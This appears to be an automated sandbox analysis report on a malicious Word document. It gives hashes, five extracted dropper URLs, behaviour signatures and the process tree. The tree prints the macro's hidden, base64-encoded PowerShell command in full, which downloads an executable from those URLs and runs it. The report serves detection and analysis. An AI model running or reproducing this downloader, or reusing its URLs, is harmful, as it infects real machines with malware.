Analysis

  • max time kernel
    55s
  • max time network
    29s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    21-11-2024 00:42

General

  • Target

    36cfa87ba3f5fdf893937365b60189aec1163986a8548d857da356119fd00553.doc

  • Size

    181KB

  • MD5

    d1dcac0221c9412998c82b5c17b1a4db

  • SHA1

    c4e384e51f4fa6652e70d1ffbd5245c4819e714b

  • SHA256

    36cfa87ba3f5fdf893937365b60189aec1163986a8548d857da356119fd00553

  • SHA512

    074c74dd798a133085e309f9d1c8bbb640d9bd5810755f3c59df31b148f8856e06e45dbbb6c3fb1f6cf623d17db8eb12c0f936ea0070bdd03079f6f7709a14ad

  • SSDEEP

    3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUdasiv8OP7V:9NO2k4PF7tGiL3HJk9rD7bdasiv86Z

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\36cfa87ba3f5fdf893937365b60189aec1163986a8548d857da356119fd00553.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2540
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2300
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1628

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4B752004.wmf

      Filesize

      444B

      MD5

      f32dad71ed478e5eaad594a3f7bfcb9e

      SHA1

      eddfd5907c496bc7ba4241e3131d1e4723e99d6d

      SHA256

      863c9e1ce6fd8bf510e5d7d645254c29f628d8fe71a580eb84710123c69fc1f1

      SHA512

      7fe860029775f72311566ffde7597d0e947310ce6e4e8f85f858e06800567c765828df0ab1bc2198a41b90030bc31f25e309aa983a04d42b895d8c0071b9fc16

    • memory/1628-32-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

      Filesize

      32KB

    • memory/1628-31-0x000000001B720000-0x000000001BA02000-memory.dmp

      Filesize

      2.9MB

    • memory/2540-20-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2540-16-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2540-14-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2540-13-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2540-15-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2540-18-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2540-17-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2540-0-0x000000002FF91000-0x000000002FF92000-memory.dmp

      Filesize

      4KB

    • memory/2540-19-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2540-5-0x0000000006560000-0x0000000006660000-memory.dmp

      Filesize

      1024KB

    • memory/2540-12-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2540-22-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2540-25-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2540-23-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2540-2-0x000000007323D000-0x0000000073248000-memory.dmp

      Filesize

      44KB

    • memory/2540-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2540-35-0x000000007323D000-0x0000000073248000-memory.dmp

      Filesize

      44KB

    • memory/2540-36-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB